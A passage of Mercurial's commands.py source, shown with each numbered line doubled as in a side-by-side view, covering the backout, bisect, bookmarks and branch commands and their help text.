809 p = repo.lookup(opts[b'parent'])
810 if p not in (p1, p2):
810 if p not in (p1, p2):
811 raise error.InputError(
811 raise error.InputError(
812 _(b'%s is not a parent of %s') % (short(p), short(node))
812 _(b'%s is not a parent of %s') % (short(p), short(node))
813 )
813 )
814 parent = p
814 parent = p
815 else:
815 else:
816 if opts.get(b'parent'):
816 if opts.get(b'parent'):
817 raise error.InputError(
817 raise error.InputError(
818 _(b'cannot use --parent on non-merge changeset')
818 _(b'cannot use --parent on non-merge changeset')
819 )
819 )
820 parent = p1
820 parent = p1
821
821
822 # the backout should appear on the same branch
822 # the backout should appear on the same branch
823 branch = repo.dirstate.branch()
823 branch = repo.dirstate.branch()
824 bheads = repo.branchheads(branch)
824 bheads = repo.branchheads(branch)
825 rctx = scmutil.revsingle(repo, hex(parent))
825 rctx = scmutil.revsingle(repo, hex(parent))
826 if not opts.get(b'merge') and op1 != node:
826 if not opts.get(b'merge') and op1 != node:
827 with dirstateguard.dirstateguard(repo, b'backout'):
827 with dirstateguard.dirstateguard(repo, b'backout'):
828 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
828 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
829 with ui.configoverride(overrides, b'backout'):
829 with ui.configoverride(overrides, b'backout'):
830 stats = mergemod.back_out(ctx, parent=repo[parent])
830 stats = mergemod.back_out(ctx, parent=repo[parent])
831 repo.setparents(op1, op2)
831 repo.setparents(op1, op2)
832 hg._showstats(repo, stats)
832 hg._showstats(repo, stats)
833 if stats.unresolvedcount:
833 if stats.unresolvedcount:
834 repo.ui.status(
834 repo.ui.status(
835 _(b"use 'hg resolve' to retry unresolved file merges\n")
835 _(b"use 'hg resolve' to retry unresolved file merges\n")
836 )
836 )
837 return 1
837 return 1
838 else:
838 else:
839 hg.clean(repo, node, show_stats=False)
839 hg.clean(repo, node, show_stats=False)
840 repo.dirstate.setbranch(branch)
840 repo.dirstate.setbranch(branch)
841 cmdutil.revert(ui, repo, rctx)
841 cmdutil.revert(ui, repo, rctx)
842
842
843 if opts.get(b'no_commit'):
843 if opts.get(b'no_commit'):
844 msg = _(b"changeset %s backed out, don't forget to commit.\n")
844 msg = _(b"changeset %s backed out, don't forget to commit.\n")
845 ui.status(msg % short(node))
845 ui.status(msg % short(node))
846 return 0
846 return 0
847
847
848 def commitfunc(ui, repo, message, match, opts):
848 def commitfunc(ui, repo, message, match, opts):
849 editform = b'backout'
849 editform = b'backout'
850 e = cmdutil.getcommiteditor(
850 e = cmdutil.getcommiteditor(
851 editform=editform, **pycompat.strkwargs(opts)
851 editform=editform, **pycompat.strkwargs(opts)
852 )
852 )
853 if not message:
853 if not message:
854 # we don't translate commit messages
854 # we don't translate commit messages
855 message = b"Backed out changeset %s" % short(node)
855 message = b"Backed out changeset %s" % short(node)
856 e = cmdutil.getcommiteditor(edit=True, editform=editform)
856 e = cmdutil.getcommiteditor(edit=True, editform=editform)
857 return repo.commit(
857 return repo.commit(
858 message, opts.get(b'user'), opts.get(b'date'), match, editor=e
858 message, opts.get(b'user'), opts.get(b'date'), match, editor=e
859 )
859 )
860
860
861 # save to detect changes
861 # save to detect changes
862 tip = repo.changelog.tip()
862 tip = repo.changelog.tip()
863
863
864 newnode = cmdutil.commit(ui, repo, commitfunc, [], opts)
864 newnode = cmdutil.commit(ui, repo, commitfunc, [], opts)
865 if not newnode:
865 if not newnode:
866 ui.status(_(b"nothing changed\n"))
866 ui.status(_(b"nothing changed\n"))
867 return 1
867 return 1
868 cmdutil.commitstatus(repo, newnode, branch, bheads, tip)
868 cmdutil.commitstatus(repo, newnode, branch, bheads, tip)
869
869
870 def nice(node):
870 def nice(node):
871 return b'%d:%s' % (repo.changelog.rev(node), short(node))
871 return b'%d:%s' % (repo.changelog.rev(node), short(node))
872
872
873 ui.status(
873 ui.status(
874 _(b'changeset %s backs out changeset %s\n')
874 _(b'changeset %s backs out changeset %s\n')
875 % (nice(newnode), nice(node))
875 % (nice(newnode), nice(node))
876 )
876 )
877 if opts.get(b'merge') and op1 != node:
877 if opts.get(b'merge') and op1 != node:
878 hg.clean(repo, op1, show_stats=False)
878 hg.clean(repo, op1, show_stats=False)
879 ui.status(_(b'merging with changeset %s\n') % nice(newnode))
879 ui.status(_(b'merging with changeset %s\n') % nice(newnode))
880 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
880 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
881 with ui.configoverride(overrides, b'backout'):
881 with ui.configoverride(overrides, b'backout'):
882 return hg.merge(repo[b'tip'])
882 return hg.merge(repo[b'tip'])
883 return 0
883 return 0
884
884
885
885
886 @command(
886 @command(
887 b'bisect',
887 b'bisect',
888 [
888 [
889 (b'r', b'reset', False, _(b'reset bisect state')),
889 (b'r', b'reset', False, _(b'reset bisect state')),
890 (b'g', b'good', False, _(b'mark changeset good')),
890 (b'g', b'good', False, _(b'mark changeset good')),
891 (b'b', b'bad', False, _(b'mark changeset bad')),
891 (b'b', b'bad', False, _(b'mark changeset bad')),
892 (b's', b'skip', False, _(b'skip testing changeset')),
892 (b's', b'skip', False, _(b'skip testing changeset')),
893 (b'e', b'extend', False, _(b'extend the bisect range')),
893 (b'e', b'extend', False, _(b'extend the bisect range')),
894 (
894 (
895 b'c',
895 b'c',
896 b'command',
896 b'command',
897 b'',
897 b'',
898 _(b'use command to check changeset state'),
898 _(b'use command to check changeset state'),
899 _(b'CMD'),
899 _(b'CMD'),
900 ),
900 ),
901 (b'U', b'noupdate', False, _(b'do not update to target')),
901 (b'U', b'noupdate', False, _(b'do not update to target')),
902 ],
902 ],
903 _(b"[-gbsr] [-U] [-c CMD] [REV]"),
903 _(b"[-gbsr] [-U] [-c CMD] [REV]"),
904 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
904 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
905 )
905 )
906 def bisect(
906 def bisect(
907 ui,
907 ui,
908 repo,
908 repo,
909 positional_1=None,
909 positional_1=None,
910 positional_2=None,
910 positional_2=None,
911 command=None,
911 command=None,
912 reset=None,
912 reset=None,
913 good=None,
913 good=None,
914 bad=None,
914 bad=None,
915 skip=None,
915 skip=None,
916 extend=None,
916 extend=None,
917 noupdate=None,
917 noupdate=None,
918 ):
918 ):
919 """subdivision search of changesets
919 """subdivision search of changesets
920
920
921 This command helps to find changesets which introduce problems. To
921 This command helps to find changesets which introduce problems. To
922 use, mark the earliest changeset you know exhibits the problem as
922 use, mark the earliest changeset you know exhibits the problem as
923 bad, then mark the latest changeset which is free from the problem
923 bad, then mark the latest changeset which is free from the problem
924 as good. Bisect will update your working directory to a revision
924 as good. Bisect will update your working directory to a revision
925 for testing (unless the -U/--noupdate option is specified). Once
925 for testing (unless the -U/--noupdate option is specified). Once
926 you have performed tests, mark the working directory as good or
926 you have performed tests, mark the working directory as good or
927 bad, and bisect will either update to another candidate changeset
927 bad, and bisect will either update to another candidate changeset
928 or announce that it has found the bad revision.
928 or announce that it has found the bad revision.
929
929
930 As a shortcut, you can also use the revision argument to mark a
930 As a shortcut, you can also use the revision argument to mark a
931 revision as good or bad without checking it out first.
931 revision as good or bad without checking it out first.
932
932
933 If you supply a command, it will be used for automatic bisection.
933 If you supply a command, it will be used for automatic bisection.
934 The environment variable HG_NODE will contain the ID of the
934 The environment variable HG_NODE will contain the ID of the
935 changeset being tested. The exit status of the command will be
935 changeset being tested. The exit status of the command will be
936 used to mark revisions as good or bad: status 0 means good, 125
936 used to mark revisions as good or bad: status 0 means good, 125
937 means to skip the revision, 127 (command not found) will abort the
937 means to skip the revision, 127 (command not found) will abort the
938 bisection, and any other non-zero exit status means the revision
938 bisection, and any other non-zero exit status means the revision
939 is bad.
939 is bad.
940
940
941 .. container:: verbose
941 .. container:: verbose
942
942
943 Some examples:
943 Some examples:
944
944
945 - start a bisection with known bad revision 34, and good revision 12::
945 - start a bisection with known bad revision 34, and good revision 12::
946
946
947 hg bisect --bad 34
947 hg bisect --bad 34
948 hg bisect --good 12
948 hg bisect --good 12
949
949
950 - advance the current bisection by marking current revision as good or
950 - advance the current bisection by marking current revision as good or
951 bad::
951 bad::
952
952
953 hg bisect --good
953 hg bisect --good
954 hg bisect --bad
954 hg bisect --bad
955
955
956 - mark the current revision, or a known revision, to be skipped (e.g. if
956 - mark the current revision, or a known revision, to be skipped (e.g. if
957 that revision is not usable because of another issue)::
957 that revision is not usable because of another issue)::
958
958
959 hg bisect --skip
959 hg bisect --skip
960 hg bisect --skip 23
960 hg bisect --skip 23
961
961
962 - skip all revisions that do not touch directories ``foo`` or ``bar``::
962 - skip all revisions that do not touch directories ``foo`` or ``bar``::
963
963
964 hg bisect --skip "!( file('path:foo') & file('path:bar') )"
964 hg bisect --skip "!( file('path:foo') & file('path:bar') )"
965
965
966 - forget the current bisection::
966 - forget the current bisection::
967
967
968 hg bisect --reset
968 hg bisect --reset
969
969
970 - use 'make && make tests' to automatically find the first broken
970 - use 'make && make tests' to automatically find the first broken
971 revision::
971 revision::
972
972
973 hg bisect --reset
973 hg bisect --reset
974 hg bisect --bad 34
974 hg bisect --bad 34
975 hg bisect --good 12
975 hg bisect --good 12
976 hg bisect --command "make && make tests"
976 hg bisect --command "make && make tests"
977
977
978 - see all changesets whose states are already known in the current
978 - see all changesets whose states are already known in the current
979 bisection::
979 bisection::
980
980
981 hg log -r "bisect(pruned)"
981 hg log -r "bisect(pruned)"
982
982
983 - see the changeset currently being bisected (especially useful
983 - see the changeset currently being bisected (especially useful
984 if running with -U/--noupdate)::
984 if running with -U/--noupdate)::
985
985
986 hg log -r "bisect(current)"
986 hg log -r "bisect(current)"
987
987
988 - see all changesets that took part in the current bisection::
988 - see all changesets that took part in the current bisection::
989
989
990 hg log -r "bisect(range)"
990 hg log -r "bisect(range)"
991
991
992 - you can even get a nice graph::
992 - you can even get a nice graph::
993
993
994 hg log --graph -r "bisect(range)"
994 hg log --graph -r "bisect(range)"
995
995
996 See :hg:`help revisions.bisect` for more about the `bisect()` predicate.
996 See :hg:`help revisions.bisect` for more about the `bisect()` predicate.
997
997
998 Returns 0 on success.
998 Returns 0 on success.
999 """
999 """
1000 rev = []
1000 rev = []
1001 # backward compatibility
1001 # backward compatibility
1002 if positional_1 in (b"good", b"bad", b"reset", b"init"):
1002 if positional_1 in (b"good", b"bad", b"reset", b"init"):
1003 ui.warn(_(b"(use of 'hg bisect <cmd>' is deprecated)\n"))
1003 ui.warn(_(b"(use of 'hg bisect <cmd>' is deprecated)\n"))
1004 cmd = positional_1
1004 cmd = positional_1
1005 rev.append(positional_2)
1005 rev.append(positional_2)
1006 if cmd == b"good":
1006 if cmd == b"good":
1007 good = True
1007 good = True
1008 elif cmd == b"bad":
1008 elif cmd == b"bad":
1009 bad = True
1009 bad = True
1010 else:
1010 else:
1011 reset = True
1011 reset = True
1012 elif positional_2:
1012 elif positional_2:
1013 raise error.InputError(_(b'incompatible arguments'))
1013 raise error.InputError(_(b'incompatible arguments'))
1014 elif positional_1 is not None:
1014 elif positional_1 is not None:
1015 rev.append(positional_1)
1015 rev.append(positional_1)
1016
1016
1017 incompatibles = {
1017 incompatibles = {
1018 b'--bad': bad,
1018 b'--bad': bad,
1019 b'--command': bool(command),
1019 b'--command': bool(command),
1020 b'--extend': extend,
1020 b'--extend': extend,
1021 b'--good': good,
1021 b'--good': good,
1022 b'--reset': reset,
1022 b'--reset': reset,
1023 b'--skip': skip,
1023 b'--skip': skip,
1024 }
1024 }
1025
1025
1026 enabled = [x for x in incompatibles if incompatibles[x]]
1026 enabled = [x for x in incompatibles if incompatibles[x]]
1027
1027
1028 if len(enabled) > 1:
1028 if len(enabled) > 1:
1029 raise error.InputError(
1029 raise error.InputError(
1030 _(b'%s and %s are incompatible') % tuple(sorted(enabled)[0:2])
1030 _(b'%s and %s are incompatible') % tuple(sorted(enabled)[0:2])
1031 )
1031 )
1032
1032
1033 if reset:
1033 if reset:
1034 hbisect.resetstate(repo)
1034 hbisect.resetstate(repo)
1035 return
1035 return
1036
1036
1037 state = hbisect.load_state(repo)
1037 state = hbisect.load_state(repo)
1038
1038
1039 if rev:
1039 if rev:
1040 nodes = [repo[i].node() for i in logcmdutil.revrange(repo, rev)]
1040 nodes = [repo[i].node() for i in logcmdutil.revrange(repo, rev)]
1041 else:
1041 else:
1042 nodes = [repo.lookup(b'.')]
1042 nodes = [repo.lookup(b'.')]
1043
1043
1044 # update state
1044 # update state
1045 if good or bad or skip:
1045 if good or bad or skip:
1046 if good:
1046 if good:
1047 state[b'good'] += nodes
1047 state[b'good'] += nodes
1048 elif bad:
1048 elif bad:
1049 state[b'bad'] += nodes
1049 state[b'bad'] += nodes
1050 elif skip:
1050 elif skip:
1051 state[b'skip'] += nodes
1051 state[b'skip'] += nodes
1052 hbisect.save_state(repo, state)
1052 hbisect.save_state(repo, state)
1053 if not (state[b'good'] and state[b'bad']):
1053 if not (state[b'good'] and state[b'bad']):
1054 return
1054 return
1055
1055
1056 def mayupdate(repo, node, show_stats=True):
1056 def mayupdate(repo, node, show_stats=True):
1057 """common used update sequence"""
1057 """common used update sequence"""
1058 if noupdate:
1058 if noupdate:
1059 return
1059 return
1060 cmdutil.checkunfinished(repo)
1060 cmdutil.checkunfinished(repo)
1061 cmdutil.bailifchanged(repo)
1061 cmdutil.bailifchanged(repo)
1062 return hg.clean(repo, node, show_stats=show_stats)
1062 return hg.clean(repo, node, show_stats=show_stats)
1063
1063
1064 displayer = logcmdutil.changesetdisplayer(ui, repo, {})
1064 displayer = logcmdutil.changesetdisplayer(ui, repo, {})
1065
1065
1066 if command:
1066 if command:
1067 changesets = 1
1067 changesets = 1
1068 if noupdate:
1068 if noupdate:
1069 try:
1069 try:
1070 node = state[b'current'][0]
1070 node = state[b'current'][0]
1071 except LookupError:
1071 except LookupError:
1072 raise error.StateError(
1072 raise error.StateError(
1073 _(
1073 _(
1074 b'current bisect revision is unknown - '
1074 b'current bisect revision is unknown - '
1075 b'start a new bisect to fix'
1075 b'start a new bisect to fix'
1076 )
1076 )
1077 )
1077 )
1078 else:
1078 else:
1079 node, p2 = repo.dirstate.parents()
1079 node, p2 = repo.dirstate.parents()
1080 if p2 != repo.nullid:
1080 if p2 != repo.nullid:
1081 raise error.StateError(_(b'current bisect revision is a merge'))
1081 raise error.StateError(_(b'current bisect revision is a merge'))
1082 if rev:
1082 if rev:
1083 if not nodes:
1083 if not nodes:
1084 raise error.InputError(_(b'empty revision set'))
1084 raise error.InputError(_(b'empty revision set'))
1085 node = repo[nodes[-1]].node()
1085 node = repo[nodes[-1]].node()
1086 with hbisect.restore_state(repo, state, node):
1086 with hbisect.restore_state(repo, state, node):
1087 while changesets:
1087 while changesets:
1088 # update state
1088 # update state
1089 state[b'current'] = [node]
1089 state[b'current'] = [node]
1090 hbisect.save_state(repo, state)
1090 hbisect.save_state(repo, state)
1091 status = ui.system(
1091 status = ui.system(
1092 command,
1092 command,
1093 environ={b'HG_NODE': hex(node)},
1093 environ={b'HG_NODE': hex(node)},
1094 blockedtag=b'bisect_check',
1094 blockedtag=b'bisect_check',
1095 )
1095 )
1096 if status == 125:
1096 if status == 125:
1097 transition = b"skip"
1097 transition = b"skip"
1098 elif status == 0:
1098 elif status == 0:
1099 transition = b"good"
1099 transition = b"good"
1100 # status < 0 means process was killed
1100 # status < 0 means process was killed
1101 elif status == 127:
1101 elif status == 127:
1102 raise error.Abort(_(b"failed to execute %s") % command)
1102 raise error.Abort(_(b"failed to execute %s") % command)
1103 elif status < 0:
1103 elif status < 0:
1104 raise error.Abort(_(b"%s killed") % command)
1104 raise error.Abort(_(b"%s killed") % command)
1105 else:
1105 else:
1106 transition = b"bad"
1106 transition = b"bad"
1107 state[transition].append(node)
1107 state[transition].append(node)
1108 ctx = repo[node]
1108 ctx = repo[node]
1109 summary = cmdutil.format_changeset_summary(ui, ctx, b'bisect')
1109 summary = cmdutil.format_changeset_summary(ui, ctx, b'bisect')
1110 ui.status(_(b'changeset %s: %s\n') % (summary, transition))
1110 ui.status(_(b'changeset %s: %s\n') % (summary, transition))
1111 hbisect.checkstate(state)
1111 hbisect.checkstate(state)
1112 # bisect
1112 # bisect
1113 nodes, changesets, bgood = hbisect.bisect(repo, state)
1113 nodes, changesets, bgood = hbisect.bisect(repo, state)
1114 # update to next check
1114 # update to next check
1115 node = nodes[0]
1115 node = nodes[0]
1116 mayupdate(repo, node, show_stats=False)
1116 mayupdate(repo, node, show_stats=False)
1117 hbisect.printresult(ui, repo, state, displayer, nodes, bgood)
1117 hbisect.printresult(ui, repo, state, displayer, nodes, bgood)
1118 return
1118 return
1119
1119
1120 hbisect.checkstate(state)
1120 hbisect.checkstate(state)
1121
1121
1122 # actually bisect
1122 # actually bisect
1123 nodes, changesets, good = hbisect.bisect(repo, state)
1123 nodes, changesets, good = hbisect.bisect(repo, state)
1124 if extend:
1124 if extend:
1125 if not changesets:
1125 if not changesets:
1126 extendctx = hbisect.extendrange(repo, state, nodes, good)
1126 extendctx = hbisect.extendrange(repo, state, nodes, good)
1127 if extendctx is not None:
1127 if extendctx is not None:
1128 ui.write(
1128 ui.write(
1129 _(b"Extending search to changeset %s\n")
1129 _(b"Extending search to changeset %s\n")
1130 % cmdutil.format_changeset_summary(ui, extendctx, b'bisect')
1130 % cmdutil.format_changeset_summary(ui, extendctx, b'bisect')
1131 )
1131 )
1132 state[b'current'] = [extendctx.node()]
1132 state[b'current'] = [extendctx.node()]
1133 hbisect.save_state(repo, state)
1133 hbisect.save_state(repo, state)
1134 return mayupdate(repo, extendctx.node())
1134 return mayupdate(repo, extendctx.node())
1135 raise error.StateError(_(b"nothing to extend"))
1135 raise error.StateError(_(b"nothing to extend"))
1136
1136
1137 if changesets == 0:
1137 if changesets == 0:
1138 hbisect.printresult(ui, repo, state, displayer, nodes, good)
1138 hbisect.printresult(ui, repo, state, displayer, nodes, good)
1139 else:
1139 else:
1140 assert len(nodes) == 1 # only a single node can be tested next
1140 assert len(nodes) == 1 # only a single node can be tested next
1141 node = nodes[0]
1141 node = nodes[0]
1142 # compute the approximate number of remaining tests
1142 # compute the approximate number of remaining tests
1143 tests, size = 0, 2
1143 tests, size = 0, 2
1144 while size <= changesets:
1144 while size <= changesets:
1145 tests, size = tests + 1, size * 2
1145 tests, size = tests + 1, size * 2
1146 rev = repo.changelog.rev(node)
1146 rev = repo.changelog.rev(node)
1147 summary = cmdutil.format_changeset_summary(ui, repo[rev], b'bisect')
1147 summary = cmdutil.format_changeset_summary(ui, repo[rev], b'bisect')
1148 ui.write(
1148 ui.write(
1149 _(
1149 _(
1150 b"Testing changeset %s "
1150 b"Testing changeset %s "
1151 b"(%d changesets remaining, ~%d tests)\n"
1151 b"(%d changesets remaining, ~%d tests)\n"
1152 )
1152 )
1153 % (summary, changesets, tests)
1153 % (summary, changesets, tests)
1154 )
1154 )
1155 state[b'current'] = [node]
1155 state[b'current'] = [node]
1156 hbisect.save_state(repo, state)
1156 hbisect.save_state(repo, state)
1157 return mayupdate(repo, node)
1157 return mayupdate(repo, node)
1158
1158
1159
1159
1160 @command(
1160 @command(
1161 b'bookmarks|bookmark',
1161 b'bookmarks|bookmark',
1162 [
1162 [
1163 (b'f', b'force', False, _(b'force')),
1163 (b'f', b'force', False, _(b'force')),
1164 (b'r', b'rev', b'', _(b'revision for bookmark action'), _(b'REV')),
1164 (b'r', b'rev', b'', _(b'revision for bookmark action'), _(b'REV')),
1165 (b'd', b'delete', False, _(b'delete a given bookmark')),
1165 (b'd', b'delete', False, _(b'delete a given bookmark')),
1166 (b'm', b'rename', b'', _(b'rename a given bookmark'), _(b'OLD')),
1166 (b'm', b'rename', b'', _(b'rename a given bookmark'), _(b'OLD')),
1167 (b'i', b'inactive', False, _(b'mark a bookmark inactive')),
1167 (b'i', b'inactive', False, _(b'mark a bookmark inactive')),
1168 (b'l', b'list', False, _(b'list existing bookmarks')),
1168 (b'l', b'list', False, _(b'list existing bookmarks')),
1169 ]
1169 ]
1170 + formatteropts,
1170 + formatteropts,
1171 _(b'hg bookmarks [OPTIONS]... [NAME]...'),
1171 _(b'hg bookmarks [OPTIONS]... [NAME]...'),
1172 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1172 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1173 )
1173 )
1174 def bookmark(ui, repo, *names, **opts):
1174 def bookmark(ui, repo, *names, **opts):
1175 """create a new bookmark or list existing bookmarks
1175 """create a new bookmark or list existing bookmarks
1176
1176
1177 Bookmarks are labels on changesets to help track lines of development.
1177 Bookmarks are labels on changesets to help track lines of development.
1178 Bookmarks are unversioned and can be moved, renamed and deleted.
1178 Bookmarks are unversioned and can be moved, renamed and deleted.
1179 Deleting or moving a bookmark has no effect on the associated changesets.
1179 Deleting or moving a bookmark has no effect on the associated changesets.
1180
1180
1181 Creating or updating to a bookmark causes it to be marked as 'active'.
1181 Creating or updating to a bookmark causes it to be marked as 'active'.
1182 The active bookmark is indicated with a '*'.
1182 The active bookmark is indicated with a '*'.
1183 When a commit is made, the active bookmark will advance to the new commit.
1183 When a commit is made, the active bookmark will advance to the new commit.
1184 A plain :hg:`update` will also advance an active bookmark, if possible.
1184 A plain :hg:`update` will also advance an active bookmark, if possible.
1185 Updating away from a bookmark will cause it to be deactivated.
1185 Updating away from a bookmark will cause it to be deactivated.
1186
1186
1187 Bookmarks can be pushed and pulled between repositories (see
1187 Bookmarks can be pushed and pulled between repositories (see
1188 :hg:`help push` and :hg:`help pull`). If a shared bookmark has
1188 :hg:`help push` and :hg:`help pull`). If a shared bookmark has
1189 diverged, a new 'divergent bookmark' of the form 'name@path' will
1189 diverged, a new 'divergent bookmark' of the form 'name@path' will
1190 be created. Using :hg:`merge` will resolve the divergence.
1190 be created. Using :hg:`merge` will resolve the divergence.
1191
1191
1192 Specifying bookmark as '.' to -m/-d/-l options is equivalent to specifying
1192 Specifying bookmark as '.' to -m/-d/-l options is equivalent to specifying
1193 the active bookmark's name.
1193 the active bookmark's name.
1194
1194
1195 A bookmark named '@' has the special property that :hg:`clone` will
1195 A bookmark named '@' has the special property that :hg:`clone` will
1196 check it out by default if it exists.
1196 check it out by default if it exists.
1197
1197
1198 .. container:: verbose
1198 .. container:: verbose
1199
1199
1200 Template:
1200 Template:
1201
1201
1202 The following keywords are supported in addition to the common template
1202 The following keywords are supported in addition to the common template
1203 keywords and functions such as ``{bookmark}``. See also
1203 keywords and functions such as ``{bookmark}``. See also
1204 :hg:`help templates`.
1204 :hg:`help templates`.
1205
1205
1206 :active: Boolean. True if the bookmark is active.
1206 :active: Boolean. True if the bookmark is active.
1207
1207
1208 Examples:
1208 Examples:
1209
1209
1210 - create an active bookmark for a new line of development::
1210 - create an active bookmark for a new line of development::
1211
1211
1212 hg book new-feature
1212 hg book new-feature
1213
1213
1214 - create an inactive bookmark as a place marker::
1214 - create an inactive bookmark as a place marker::
1215
1215
1216 hg book -i reviewed
1216 hg book -i reviewed
1217
1217
1218 - create an inactive bookmark on another changeset::
1218 - create an inactive bookmark on another changeset::
1219
1219
1220 hg book -r .^ tested
1220 hg book -r .^ tested
1221
1221
1222 - rename bookmark turkey to dinner::
1222 - rename bookmark turkey to dinner::
1223
1223
1224 hg book -m turkey dinner
1224 hg book -m turkey dinner
1225
1225
1226 - move the '@' bookmark from another branch::
1226 - move the '@' bookmark from another branch::
1227
1227
1228 hg book -f @
1228 hg book -f @
1229
1229
1230 - print only the active bookmark name::
1230 - print only the active bookmark name::
1231
1231
1232 hg book -ql .
1232 hg book -ql .
1233 """
1233 """
1234 opts = pycompat.byteskwargs(opts)
1234 opts = pycompat.byteskwargs(opts)
1235 force = opts.get(b'force')
1235 force = opts.get(b'force')
1236 rev = opts.get(b'rev')
1236 rev = opts.get(b'rev')
1237 inactive = opts.get(b'inactive') # meaning add/rename to inactive bookmark
1237 inactive = opts.get(b'inactive') # meaning add/rename to inactive bookmark
1238
1238
1239 action = cmdutil.check_at_most_one_arg(opts, b'delete', b'rename', b'list')
1239 action = cmdutil.check_at_most_one_arg(opts, b'delete', b'rename', b'list')
1240 if action:
1240 if action:
1241 cmdutil.check_incompatible_arguments(opts, action, [b'rev'])
1241 cmdutil.check_incompatible_arguments(opts, action, [b'rev'])
1242 elif names or rev:
1242 elif names or rev:
1243 action = b'add'
1243 action = b'add'
1244 elif inactive:
1244 elif inactive:
1245 action = b'inactive' # meaning deactivate
1245 action = b'inactive' # meaning deactivate
1246 else:
1246 else:
1247 action = b'list'
1247 action = b'list'
1248
1248
1249 cmdutil.check_incompatible_arguments(
1249 cmdutil.check_incompatible_arguments(
1250 opts, b'inactive', [b'delete', b'list']
1250 opts, b'inactive', [b'delete', b'list']
1251 )
1251 )
1252 if not names and action in {b'add', b'delete'}:
1252 if not names and action in {b'add', b'delete'}:
1253 raise error.InputError(_(b"bookmark name required"))
1253 raise error.InputError(_(b"bookmark name required"))
1254
1254
1255 if action in {b'add', b'delete', b'rename', b'inactive'}:
1255 if action in {b'add', b'delete', b'rename', b'inactive'}:
1256 with repo.wlock(), repo.lock(), repo.transaction(b'bookmark') as tr:
1256 with repo.wlock(), repo.lock(), repo.transaction(b'bookmark') as tr:
1257 if action == b'delete':
1257 if action == b'delete':
1258 names = pycompat.maplist(repo._bookmarks.expandname, names)
1258 names = pycompat.maplist(repo._bookmarks.expandname, names)
1259 bookmarks.delete(repo, tr, names)
1259 bookmarks.delete(repo, tr, names)
1260 elif action == b'rename':
1260 elif action == b'rename':
1261 if not names:
1261 if not names:
1262 raise error.InputError(_(b"new bookmark name required"))
1262 raise error.InputError(_(b"new bookmark name required"))
1263 elif len(names) > 1:
1263 elif len(names) > 1:
1264 raise error.InputError(
1264 raise error.InputError(
1265 _(b"only one new bookmark name allowed")
1265 _(b"only one new bookmark name allowed")
1266 )
1266 )
1267 oldname = repo._bookmarks.expandname(opts[b'rename'])
1267 oldname = repo._bookmarks.expandname(opts[b'rename'])
1268 bookmarks.rename(repo, tr, oldname, names[0], force, inactive)
1268 bookmarks.rename(repo, tr, oldname, names[0], force, inactive)
1269 elif action == b'add':
1269 elif action == b'add':
1270 bookmarks.addbookmarks(repo, tr, names, rev, force, inactive)
1270 bookmarks.addbookmarks(repo, tr, names, rev, force, inactive)
1271 elif action == b'inactive':
1271 elif action == b'inactive':
1272 if len(repo._bookmarks) == 0:
1272 if len(repo._bookmarks) == 0:
1273 ui.status(_(b"no bookmarks set\n"))
1273 ui.status(_(b"no bookmarks set\n"))
1274 elif not repo._activebookmark:
1274 elif not repo._activebookmark:
1275 ui.status(_(b"no active bookmark\n"))
1275 ui.status(_(b"no active bookmark\n"))
1276 else:
1276 else:
1277 bookmarks.deactivate(repo)
1277 bookmarks.deactivate(repo)
1278 elif action == b'list':
1278 elif action == b'list':
1279 names = pycompat.maplist(repo._bookmarks.expandname, names)
1279 names = pycompat.maplist(repo._bookmarks.expandname, names)
1280 with ui.formatter(b'bookmarks', opts) as fm:
1280 with ui.formatter(b'bookmarks', opts) as fm:
1281 bookmarks.printbookmarks(ui, repo, fm, names)
1281 bookmarks.printbookmarks(ui, repo, fm, names)
1282 else:
1282 else:
1283 raise error.ProgrammingError(b'invalid action: %s' % action)
1283 raise error.ProgrammingError(b'invalid action: %s' % action)
1284
1284
1285
1285
1286 @command(
1286 @command(
1287 b'branch',
1287 b'branch',
1288 [
1288 [
1289 (
1289 (
1290 b'f',
1290 b'f',
1291 b'force',
1291 b'force',
1292 None,
1292 None,
1293 _(b'set branch name even if it shadows an existing branch'),
1293 _(b'set branch name even if it shadows an existing branch'),
1294 ),
1294 ),
1295 (b'C', b'clean', None, _(b'reset branch name to parent branch name')),
1295 (b'C', b'clean', None, _(b'reset branch name to parent branch name')),
1296 (
1296 (
1297 b'r',
1297 b'r',
1298 b'rev',
1298 b'rev',
1299 [],
1299 [],
1300 _(b'change branches of the given revs (EXPERIMENTAL)'),
1300 _(b'change branches of the given revs (EXPERIMENTAL)'),
1301 ),
1301 ),
1302 ],
1302 ],
1303 _(b'[-fC] [NAME]'),
1303 _(b'[-fC] [NAME]'),
1304 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1304 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1305 )
1305 )
1306 def branch(ui, repo, label=None, **opts):
1306 def branch(ui, repo, label=None, **opts):
1307 """set or show the current branch name
1307 """set or show the current branch name
1308
1308
1309 .. note::
1309 .. note::
1310
1310
1311 Branch names are permanent and global. Use :hg:`bookmark` to create a
1311 Branch names are permanent and global. Use :hg:`bookmark` to create a
1312 light-weight bookmark instead. See :hg:`help glossary` for more
1312 light-weight bookmark instead. See :hg:`help glossary` for more
1313 information about named branches and bookmarks.
1313 information about named branches and bookmarks.
1314
1314
1315 With no argument, show the current branch name. With one argument,
1315 With no argument, show the current branch name. With one argument,
1316 set the working directory branch name (the branch will not exist
1316 set the working directory branch name (the branch will not exist
1317 in the repository until the next commit). Standard practice
1317 in the repository until the next commit). Standard practice
1318 recommends that primary development take place on the 'default'
1318 recommends that primary development take place on the 'default'
1319 branch.
1319 branch.
1320
1320
1321 Unless -f/--force is specified, branch will not let you set a
1321 Unless -f/--force is specified, branch will not let you set a
1322 branch name that already exists.
1322 branch name that already exists.
1323
1323
1324 Use -C/--clean to reset the working directory branch to that of
1324 Use -C/--clean to reset the working directory branch to that of
1325 the parent of the working directory, negating a previous branch
1325 the parent of the working directory, negating a previous branch
1326 change.
1326 change.
1327
1327
1328 Use the command :hg:`update` to switch to an existing branch. Use
1328 Use the command :hg:`update` to switch to an existing branch. Use
1329 :hg:`commit --close-branch` to mark this branch head as closed.
1329 :hg:`commit --close-branch` to mark this branch head as closed.
1330 When all heads of a branch are closed, the branch will be
